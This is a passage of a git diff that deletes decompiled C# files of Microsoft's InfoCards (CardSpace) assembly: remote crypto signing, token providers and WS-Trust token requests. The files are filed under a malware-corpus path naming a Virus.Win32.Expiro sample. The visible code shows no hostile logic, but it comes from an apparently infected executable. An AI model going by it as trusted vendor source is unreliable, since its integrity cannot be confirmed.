SignatureAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.SignatureAlgorithm : (string) null; - - public override int KeySize - { - get => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeySize : 0; - set => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override KeySizes[] LegalKeySizes => new KeySizes[1] - { - new KeySizes(this.KeySize, this.KeySize, 0) - }; - - public byte[] SignHash(int hashAlg, byte[] hash) - { - this.ThrowIfRemoteProcessDied(); - RemoteCryptoSignHashRequest cryptoSignHashRequest = new RemoteCryptoSignHashRequest(this.GetContext(), hashAlg, 0, hash); - cryptoSignHashRequest.Process(); - byte[] signature = cryptoSignHashRequest.GetSignature(); - this.ThrowIfRemoteProcessDied(); - return signature; - } - - public override byte[] DecryptValue(byte[] rgb) - { - this.ThrowIfRemoteProcessDied(); - byte[] numArray = new byte[rgb.Length]; - Array.Copy((Array) rgb, 0, (Array) numArray, 0, rgb.Length); - RemoteCryptoDecryptRequest cryptoDecryptRequest = new RemoteCryptoDecryptRequest(this.GetContext(), 0, true, numArray, 0, numArray.Length, 0, (byte[]) null); - cryptoDecryptRequest.Process(); - byte[] destinationArray = new byte[cryptoDecryptRequest.Length]; - Array.Copy((Array) cryptoDecryptRequest.GetBuffer(), cryptoDecryptRequest.Index, (Array) destinationArray, 0, cryptoDecryptRequest.Length); - this.ThrowIfRemoteProcessDied(); - return destinationArray; - } - - public override byte[] EncryptValue(byte[] rgb) => ((RSA) this.m_credential.Certificate.PublicKey.Key).EncryptValue(rgb); - - public override RSAParameters ExportParameters(bool includePrivateParameters) - { - if (includePrivateParameters || this.m_credential.Certificate.PublicKey == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - if (this.m_credential.Certificate.PublicKey.Key is RSA) - return ((RSA) this.m_credential.Certificate.PublicKey.Key).ExportParameters(false); - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - } - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - int num = disposing ? 1 : 0; - ((IDisposable) this.m_context).Dispose(); - this.m_disposed = true; - } - } - - private RpcCryptoContext GetContext() - { - if (!this.m_context.IsOpen) - this.m_context.Open(); - return this.m_context; - } - - private void ThrowIfRemoteProcessDied() - { - if (!this.m_request.ParentRequest.UIAgentActive) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("RemoteCryptoSessionUnavailable"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs deleted file mode 100644 index 4ba39490..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoSignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoSignHashRequest : RpcCryptoRequest - { - private byte[] m_signature; - private byte[] m_hash; - private int m_hashType; - private int m_flags; - - public RemoteCryptoSignHashRequest( - RpcCryptoContext context, - int hashType, - int flags, - byte[] hash) - : base(context) - { - this.m_hash = hash; - this.m_hashType = hashType; - this.m_flags = flags; - } - - public override string Name => "RpcCryptoSignHashRequest"; - - public byte[] GetSignature() => this.m_signature; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream); - binaryWriter.Write(this.m_hashType); - binaryWriter.Write(this.m_flags); - binaryWriter.Write(this.m_hash.Length); - binaryWriter.Write(this.m_hash, 0, this.m_hash.Length); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_signature = binaryReader.ReadBytes(binaryReader.ReadInt32()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs deleted file mode 100644 index 1dc69a1c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoTokenProvider : SecurityTokenProvider, IDisposable - { - private RemoteX509Token m_token; - private X509Certificate2 m_certificate; - private object m_sync; - - public RemoteCryptoTokenProvider(X509Certificate2 cert) - { - this.m_sync = new object(); - this.m_certificate = cert; - } - - public void Dispose() - { - IDisposable token = (IDisposable) this.m_token; - if (token == null) - return; - token.Dispose(); - this.m_token = (RemoteX509Token) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) => (SecurityToken) this.InnerGetToken(); - - private X509SecurityToken InnerGetToken() - { - if (this.m_token == null) - { - lock (this.m_sync) - { - if (this.m_token == null) - this.m_token = new RemoteX509Token(this.m_certificate); - } - } - return (X509SecurityToken) this.m_token; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteTokenFactory.cs deleted file mode 100644 index 6433386a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteTokenFactory.cs +++ /dev/null @@ -1,546 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Claims; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RemoteTokenFactory : TokenFactoryBase - { - internal const string MetadataExchangeClientKey = "MetadataExchangeClientKey"; - private ServiceEndpoint m_endPoint; - private ChannelFactory m_channelFactory; - private object m_channelChangeSync; - private IWebProxy m_proxy; - private ProtocolProfile m_protocolProfile; - private Dictionary m_disclosedClaims; - - public RemoteTokenFactory(ServiceEndpoint endPoint, IWebProxy proxy) - { - this.m_endPoint = endPoint; - this.m_channelChangeSync = new object(); - this.m_proxy = proxy; - } - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameter, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == parameter, nameof (parameter)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == credential, nameof (credential)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - RSACryptoServiceProvider key = (RSACryptoServiceProvider) null; - byte[] numArray = (byte[]) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - RSAKeyValue val = (RSAKeyValue) null; - string internalTokenReference = string.Empty; - string externalTokenReference = string.Empty; - GenericXmlSecurityToken tok = (GenericXmlSecurityToken) null; - this.m_protocolProfile = policy.ProtocolVersionProfile; - bool flag1 = false; - RSATokenProvider rsaTokenProvider = (RSATokenProvider) null; - TokenDescriptor tokenDescriptor; - try - { - if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - key = card.GetPublicCryptography(policy.Recipient.GetIdentifier()); - flag1 = true; - InfoCardTrace.Assert(null == numArray, "Null in in asymmetric case"); - } - else if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - numArray = new byte[(IntPtr) (policy.GetIntelligentKeySize(false) / 8U)]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - InfoCardTrace.Assert(null == key, "Null in symmetric case"); - } - else - { - InfoCardTrace.Assert(null == key, "Null in no proof key case"); - InfoCardTrace.Assert(null == numArray, "Null in no proof key case"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Null in no proof key case"); - } - if (this.m_endPoint == null) - this.m_endPoint = RemoteTokenFactory.DoMexExchange(parameter, this.m_proxy); - BindingElementCollection bindingElements = this.m_endPoint.Binding.CreateBindingElements(); - SecurityBindingElement securityBindingElement = bindingElements.Find(); - if (securityBindingElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) this.m_endPoint.Address.Uri))); - this.m_protocolProfile.WSTrust = securityBindingElement.MessageSecurityVersion.TrustVersion != TrustVersion.WSTrust13 ? (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance : (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - Binding binding1 = this.m_endPoint.Binding; - EndpointAddress address = this.m_endPoint.Address; - if (flag1) - { - SupportingTokenParameters supportingTokenParameters; - if (securityBindingElement.OptionalOperationSupportingTokenParameters.ContainsKey(this.m_protocolProfile.WSTrust.RequestSecurityTokenAction)) - { - supportingTokenParameters = securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction]; - } - else - { - supportingTokenParameters = new SupportingTokenParameters(); - securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction] = supportingTokenParameters; - } - bool flag2 = true; - foreach (SecurityTokenParameters securityTokenParameters in supportingTokenParameters.Endorsing) - { - if (securityTokenParameters is RsaSecurityTokenParameters) - { - flag2 = false; - break; - } - } - if (flag2) - { - RsaSecurityTokenParameters securityTokenParameters = new RsaSecurityTokenParameters(); - securityTokenParameters.InclusionMode = SecurityTokenInclusionMode.Never; - securityTokenParameters.RequireDerivedKeys = false; - supportingTokenParameters.Endorsing.Add((SecurityTokenParameters) securityTokenParameters); - } - binding1 = (Binding) new CustomBinding(bindingElements); - } - Binding binding2 = (Binding) new CustomBinding(Utility.UpdateProxyForHttpAndRestrictTransportBinding(binding1.CreateBindingElements(), this.m_proxy, false)); - InfoCardServiceClientCredentials clientCredentials1 = new InfoCardServiceClientCredentials(credential, this.m_protocolProfile); - if (flag1) - { - rsaTokenProvider = new RSATokenProvider(policy, card); - clientCredentials1.EndorsingSignatureTokenProvider = rsaTokenProvider; - } - ChannelFactory channelFactory = (ChannelFactory) null; - bool flag3 = false; - List disclosedClaims; - DisplayToken displayToken; - try - { - InfoCardTrace.Assert(!flag3, "Will set to true upon sucess"); - lock (this.m_channelChangeSync) - { - if (this.IsAborted) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - channelFactory = new ChannelFactory(binding2, address); - clientCredentials1.Windows.AllowNtlm = false; - ClientCredentials clientCredentials2 = channelFactory.Endpoint.Behaviors.Find(); - if (clientCredentials2 != null) - channelFactory.Endpoint.Behaviors.Remove((IEndpointBehavior) clientCredentials2); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials1); - X509Certificate2Collection certificate2Collection = (X509Certificate2Collection) null; - bool chainTrustPassed = false; - switch (parameter.CredentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - clientCredentials1.UserName.UserName = ((UserNameTokenFactoryCredential) credential).UserName; - clientCredentials1.UserName.Password = ((UserNameTokenFactoryCredential) credential).Password; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.SelfIssuedCredential: - clientCredentials1.IsSelfIssuedCred = true; - SelfIssuedTokenFactoryCredential factoryCredential = (SelfIssuedTokenFactoryCredential) credential; - clientCredentials1.SelectedCard = factoryCredential.LocalCard; - certificate2Collection = this.GetCertificateChainFromAddress(address); - X509Certificate2 x509Certificate2 = certificate2Collection[0]; - InfoCardX509Validator.ValidateChainOrPeer(x509Certificate2, certificate2Collection, out chainTrustPassed); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(x509Certificate2, certificate2Collection, chainTrustPassed, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(x509Certificate2, certificate2Collection, chainTrustPassed); - this.EnsureSelfIssuedCardHasLedgerEntryForIssuer(factoryCredential.LocalCard, x509Certificate2, recipientIdHash, organizationIdHash, recipientParams, organizationIdHash); - clientCredentials1.ServiceCertificate.DefaultCertificate = x509Certificate2; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.X509CertificateCredential: - clientCredentials1.ClientCertificate.Certificate = ((X509CertificateTokenFactoryCredential) credential).Certificate; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.KerberosCredential: - clientCredentials1.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials1.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - this.m_channelFactory = channelFactory; - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - goto case TokenFactoryCredentialType.KerberosCredential; - } - } - try - { - RemoteTokenFactory.ISts channel = channelFactory.CreateChannel(); - if (key != null) - val = new RSAKeyValue((RSA) key); - this.m_disclosedClaims = card.GetClaimsToBeDisclosed(policy, discloseOptional); - disclosedClaims = new List(this.m_disclosedClaims.Count); - disclosedClaims.AddRange((IEnumerable) this.m_disclosedClaims.Keys); - RequestSecurityToken rst = this.CreateRst(binding2.MessageVersion.Addressing, policy, card, discloseOptional, val, numArray, new CultureInfo(credential.LCID)); - Message message1 = Message.CreateMessage(binding2.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) rst); - Message message2 = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenFeb2005(message1); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenWSTrust13(message1); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - WSIdentityFaultException.ThrowIfFaultMessage(message2, CultureInfo.GetCultureInfo(credential.LCID)); - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - tok = RequestSecurityTokenResponseHelper.ProcessSymmetricTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, numArray, this.m_protocolProfile, out displayToken); - if (tok.ProofToken.SecurityKeys.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - foreach (SecurityKey securityKey in tok.ProofToken.SecurityKeys) - { - if (securityKey is InMemorySymmetricSecurityKey) - { - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - symmetricProof.Key = ((SymmetricSecurityKey) securityKey).GetSymmetricKey(); - break; - } - } - if (symmetricProof == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - tok = RequestSecurityTokenResponseHelper.ProcessAsymmetricTokenData(message2.GetReaderAtBodyContents(), (RSA) key, (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal"); - tok = RequestSecurityTokenResponseHelper.ProcessBearerTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - channelFactory.Close(); - flag3 = true; - } - finally - { - lock (this.m_channelChangeSync) - { - if (!flag3) - channelFactory.Abort(); - this.m_channelFactory = (ChannelFactory) null; - } - } - } - catch (EndpointNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), (Exception) ex)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ProblemRetrievingTokenFromIdentityProvider"), ex)); - throw; - } - XmlElement xmlElement = tok.TokenXml; - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient && !this.IsEncryptedXml(xmlElement)) - { - if (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(policy, card.RequireAppliesto) == AppliesToBehaviorDecision.DoNotSend) - { - try - { - string asymmetricKeyWrapAlgorithm = policy.KeyType != SecurityKeyTypeInternal.SymmetricKey ? (SecurityKeyTypeInternal.AsymmetricKey != policy.KeyType ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? policy.OptionalRstParams.EncryptWith : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - xmlElement = EncryptionUtility.EncryptSecurityToken(xmlElement, immediateTokenRecipient.LeafCertificate, !string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm) ? policy.OptionalRstParams.EncryptionAlgorithm : SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm, asymmetricKeyWrapAlgorithm, policy.ProtocolVersionProfile); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException("ServiceTokenEncryptionFailed", ex)); - throw; - } - } - } - this.GetKeyIdentifierClauses(tok, policy.ProtocolVersionProfile, out internalTokenReference, out externalTokenReference); - this.FillOutDisplayToken(card, displayToken); - tokenDescriptor = new TokenDescriptor(tok.Id, tok.ValidFrom, tok.ValidTo, xmlElement, displayToken, symmetricProof, internalTokenReference, externalTokenReference, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - finally - { - key?.Dispose(); - if (val != null) - { - val.Key.Dispose(); - val.Key = (RSA) null; - } - symmetricProof?.Dispose(); - rsaTokenProvider?.Dispose(); - } - return tokenDescriptor; - } - - protected override void OnAbort() - { - lock (this.m_channelChangeSync) - { - if (this.IsAborted || this.m_channelFactory == null) - return; - this.m_channelFactory.Abort(); - } - } - - private X509Certificate2Collection GetCertificateChainFromAddress( - EndpointAddress address) - { - if ((EndpointAddress) null == address || address.Identity == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - if (!(address.Identity is X509CertificateEndpointIdentity identity) || identity.Certificates == null || identity.Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - return identity.Certificates; - } - - public static ServiceEndpoint DoMexExchange( - TokenCreationParameter param, - IWebProxy proxy) - { - ServiceEndpoint endPoint = (ServiceEndpoint) null; - bool flag = false; - EndpointAddress address = param != null && !((EndpointAddress) null == param.Epr) ? Utility.DeriveMexAddress(param.Epr) : throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - if ((EndpointAddress) null == address) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - InfoCardMetadataExchangeClient metadataExchangeClient = new InfoCardMetadataExchangeClient(); - metadataExchangeClient.Proxy = proxy; - MetadataSet metadata = (MetadataSet) null; - metadataExchangeClient.ResolveMetadataReferences = true; - metadataExchangeClient.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - Exception inner = (Exception) null; - try - { - metadata = metadataExchangeClient.GetMetadata(address); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - metadata = metadataExchangeClient.GetMetadata(address.Uri, MetadataExchangeClientMode.HttpGet); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - inner = ex; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), inner)); - WsdlImporter wsdlImporter = new WsdlImporter(metadata); - wsdlImporter.State.Add((object) "MetadataExchangeClientKey", (object) metadataExchangeClient); - ServiceEndpointCollection endpointCollection = wsdlImporter.ImportAllEndpoints(); - if (endpointCollection != null) - { - foreach (ServiceEndpoint serviceEndpoint in (Collection) endpointCollection) - { - if (Utility.CompareUri(serviceEndpoint.Address.Uri, param.Epr.Uri)) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsServerAuthentication) - { - endPoint = serviceEndpoint; - break; - } - } - } - if (endPoint == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - RemoteTokenFactory.ValidateEndpointAddressIdentityFromMex(endPoint); - return endPoint; - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - } - - private static void ValidateEndpointAddressIdentityFromMex(ServiceEndpoint endPoint) - { - EndpointIdentity identity = endPoint.Address.Identity; - Uri uri = endPoint.Address.Uri; - if (identity != null && identity.IdentityClaim != null && identity.IdentityClaim.ClaimType != null && ClaimTypes.Dns != identity.IdentityClaim.ClaimType && ClaimTypes.Spn != identity.IdentityClaim.ClaimType && ClaimTypes.Thumbprint != identity.IdentityClaim.ClaimType) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - if (identity == null || identity.IdentityClaim == null || identity.IdentityClaim.ClaimType == null) - return; - if (ClaimTypes.Dns == identity.IdentityClaim.ClaimType) - { - if (!NativeMcppMethods.DnsNameCompareWrapper(identity.IdentityClaim.Resource.ToString(), uri.DnsSafeHost)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - } - else if (ClaimTypes.Spn == identity.IdentityClaim.ClaimType) - { - string str = identity.IdentityClaim.Resource.ToString(); - if (!string.Format((IFormatProvider) CultureInfo.InvariantCulture, "host/{0}", new object[1] - { - (object) uri.DnsSafeHost - }).Equals(str, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - } - else - InfoCardTrace.Assert(ClaimTypes.Thumbprint == identity.IdentityClaim.ClaimType, "Should be Thumbprint"); - } - - private RequestSecurityToken CreateRst( - AddressingVersion version, - InfoCardPolicy policy, - InfoCard card, - bool discloseOptional, - RSAKeyValue val, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - return (RequestSecurityToken) new RequestSecurityTokenForRemoteTokenFactory(new RequestSecurityTokenParameters(version, card, policy, discloseOptional, val, this.m_disclosedClaims, "ProcessRequestSecurityToken", clientEntropyForSymmetric, displayCulture)); - } - - private void GetKeyIdentifierClauses( - GenericXmlSecurityToken tok, - ProtocolProfile profile, - out string internalTokenReference, - out string externalTokenReference) - { - if (tok.InternalTokenReference != null) - { - if (tok.ExternalTokenReference != null) - { - try - { - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.InternalTokenReference); - w.Flush(); - internalTokenReference = w.GetStringBuilder().ToString(); - } - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.ExternalTokenReference); - w.Flush(); - externalTokenReference = w.GetStringBuilder().ToString(); - return; - } - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"), (Exception) ex)); - } - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"))); - } - - private void EnsureSelfIssuedCardHasLedgerEntryForIssuer( - InfoCard card, - X509Certificate2 issuerCert, - string recipientId, - string recipientOrgId, - Recipient.RecipientCertParameters recipientParams, - string immediateTokenRecipientOrganizationIdentifier) - { - LedgerEntryCollection ledger = card.GetLedger(); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - ledger.Get(connection); - if (!ledger.ContainsKey(recipientId)) - { - connection.BeginTransaction(); - try - { - InfoCardMasterKey masterKey = card.GetMasterKey(connection); - if (card.IsPinProtected) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(card.Pin), "Should not be null here"); - masterKey.Decrypt(masterKey.GetPinHelper(card.Pin)); - } - Recipient recipient = new Recipient(issuerCert, recipientId, recipientOrgId, false, 0U, recipientParams); - recipient.Save(connection); - LedgerEntry entry = LedgerEntry.NewLedgerEntry(card.Id, recipient, card.Key, immediateTokenRecipientOrganizationIdentifier); - ledger.Add(entry); - entry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - else - InfoCardTrace.Assert(immediateTokenRecipientOrganizationIdentifier == recipientOrgId, "For the self issued case the RP should be same as token recipient"); - } - finally - { - connection.Close(); - } - } - - private void FillOutDisplayToken(InfoCard card, DisplayToken displayToken) - { - if (displayToken.ClaimList == null) - return; - InfoCardClaimCollection claims = card.GetClaims(); - foreach (DisplayClaim claim in displayToken.ClaimList) - { - 